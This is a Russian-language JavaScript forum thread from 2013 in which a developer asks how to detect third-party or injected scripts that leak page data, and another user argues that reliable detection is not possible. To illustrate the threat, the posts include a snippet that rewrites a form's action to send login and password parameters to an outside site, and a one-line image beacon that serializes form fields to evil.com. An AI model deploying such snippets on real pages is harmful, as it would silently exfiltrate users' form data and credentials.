Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 09.03.2013, 19:08
Кандидат Javascript-наук
Отправить личное сообщение для BorisBritva Посмотреть профиль Найти все сообщения от BorisBritva
 
Регистрация: 17.03.2010
Сообщений: 145

поиск элементов
Как можно найти все элементы на странице, включая те, которые добавлены посредством js после ее загрузки, по их атрибутам.

href
action
src

Какие еще атрибуты есть, которые передают данные или подгружают, что либо на страницу?

Короче говоря, петруха такова.

Нужно запретить утечку данных со страницы.

Страница должна обмениваться данными только со своим сервером.


Спасибо.

Последний раз редактировалось BorisBritva, 09.03.2013 в 19:13.
Ответить с цитированием
  #2 (permalink)  
Старый 09.03.2013, 20:17
Аватар для danik.js
Профессор
Отправить личное сообщение для danik.js Посмотреть профиль Найти все сообщения от danik.js
 
Регистрация: 11.09.2010
Сообщений: 8,804

Сообщение от BorisBritva
Нужно запретить утечку данных со страницы.
Вы не контроллируете подключаемые к странице ресурсы? Но при этом боитесь за "утечку"? Странно это... проясните?
Ответить с цитированием
  #3 (permalink)  
Старый 09.03.2013, 20:28
Кандидат Javascript-наук
Отправить личное сообщение для BorisBritva Посмотреть профиль Найти все сообщения от BorisBritva
 
Регистрация: 17.03.2010
Сообщений: 145

Поясняю!

function work(){
document.getElementById('MyForm').setAttribute('action', 'http://site.ru/?pass=yryryyryr&login=lol');
document.getElementById('MyForm').submit();
}

window.onload = function(){work();}


Это js скрипт подгружается допустим в опере в разделе Инструменты/быстрые настройки/настройки для сайта/скрипты/папка пользовательских файлов JavaScript.

$(document).ready(function(){
$('form').submit(function(){
alert($(this).attr('action'));
return false;
});
});


А вот этот скрипт, который расположен непосредственно на странице не срабатывает когда форма отправляется тем криптом.


Плюс всегда есть вероятность внедрения кода также непосредственно в страницу.

header("X-Content-Security-Policy: 'none'");
непомогает!

Последний раз редактировалось BorisBritva, 09.03.2013 в 21:55.
Ответить с цитированием
  #4 (permalink)  
Старый 09.03.2013, 21:17
Аватар для danik.js
Профессор
Отправить личное сообщение для danik.js Посмотреть профиль Найти все сообщения от danik.js
 
Регистрация: 11.09.2010
Сообщений: 8,804

Сообщение от BorisBritva
Поясняю!
И что это значит? Ну изменил пользователь страницу. И что? Вы ему страницу отдали, он что хочет, то и делает. Вы хотите запретить ему это делать? Повешайте тогда на сайте объявление:
Цитата:
На нашем сайте консолью браузера пользоваться ЗАПРЕЩЕНО!
Ответить с цитированием
  #5 (permalink)  
Старый 09.03.2013, 21:23
Кандидат Javascript-наук
Отправить личное сообщение для BorisBritva Посмотреть профиль Найти все сообщения от BorisBritva
 
Регистрация: 17.03.2010
Сообщений: 145

Ну задачи есть разные.

Юзер может и не знать что у него осторонний скрипт работает. Нужно хотя бы лог вести об отправлении данных, и в случе чего предупредить его!

Если есть вероятность утечки данных, то она должна быть прекрыта!

Меня больше интересует, как отследить работу сторонних скриптов а не критика!

Последний раз редактировалось BorisBritva, 09.03.2013 в 21:25.
Ответить с цитированием
  #6 (permalink)  
Старый 09.03.2013, 21:37
Аватар для danik.js
Профессор
Отправить личное сообщение для danik.js Посмотреть профиль Найти все сообщения от danik.js
 
Регистрация: 11.09.2010
Сообщений: 8,804

А как ты отследишь это:
<script>
    var image = new Image();
    image.src = 'http//evil.com/?' + $('form').serialize();
</script>
Ответить с цитированием
  #7 (permalink)  
Старый 09.03.2013, 21:47
Кандидат Javascript-наук
Отправить личное сообщение для BorisBritva Посмотреть профиль Найти все сообщения от BorisBritva
 
Регистрация: 17.03.2010
Сообщений: 145

$('form').submit(function(){
alert($(this).serialize());
return false;
});


Вообще ничего не показывает
атрибут name не установлен. Однако это легко исправимо на стороннем скрипте.

Надо думать

alert($('script').length);


Показывает количество скриптов, которые на странице по умолчанию. Тоже не катит.

Как можно узнать, что сторонний скрипт подключен?

Последний раз редактировалось BorisBritva, 09.03.2013 в 21:53.
Ответить с цитированием
  #8 (permalink)  
Старый 10.03.2013, 05:36
Аватар для danik.js
Профессор
Отправить личное сообщение для danik.js Посмотреть профиль Найти все сообщения от danik.js
 
Регистрация: 11.09.2010
Сообщений: 8,804

Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?
Ответить с цитированием
  #9 (permalink)  
Старый 10.03.2013, 12:49
Кандидат Javascript-наук
Отправить личное сообщение для BorisBritva Посмотреть профиль Найти все сообщения от BorisBritva
 
Регистрация: 17.03.2010
Сообщений: 145

Сообщение от danik.js Посмотреть сообщение
Слушать изменения DOM через MutationObserver/MutationEvent ? Но это очень медленно. И что если скрипт будет впрыснут вперед твоих скриптов?
Пример можешь показать?

Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.

На счет того что, скрипт будет впрыснут вперед твоих скриптов, то на сколько я понимаю, когда через оперу подключается сторонний скрипт, так и происходит.

Но изменения DOM все равно происходят. Допустим при добавлении к форме атрибута action. По умолчанию таких атрибутов нет на странице.
Ответить с цитированием
  #10 (permalink)  
Старый 10.03.2013, 13:01
Аватар для danik.js
Профессор
Отправить личное сообщение для danik.js Посмотреть профиль Найти все сообщения от danik.js
 
Регистрация: 11.09.2010
Сообщений: 8,804

Сообщение от BorisBritva
Если будет внедрен на страницу через тег script, то его можно отследить! На количество тегов script в DOM.
Сообщение от danik.js
А если у пользователя стоит какое-нибудь расширение, которое подключает какой-нибудь безобидный скрипт к странице?
А если скрипт будет впрыснут вперед твоего, выполнен и тег script будет удален еще до выполнения твоего скрипта? Затем "злой" скрипт, находящийся в памяти, будет "сливать" инфу без палева. Как ты это отследить собираешься?

А если у юзера стоит злой юзерскрипт, который хоть и работает с отдельном контексте, но все же имеет доступ к DOM-у, в том числе полям формы?

Объясни что и от чего ты хочешь защитить.
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Поиск элементов по тэгу - getElementsByTagName('table') lamer Общие вопросы Javascript 8 31.01.2013 05:58
Поиск элементов DOM boberjs jQuery 7 14.12.2012 15:26
Поиск элементов на другой странице chudikos Events/DOM/Window 4 10.11.2012 10:12
поиск элементов в DOM Bebarr Swallow Общие вопросы Javascript 1 24.06.2011 14:57
Поиск элементов в контексте korzhik Events/DOM/Window 6 31.12.2008 11:35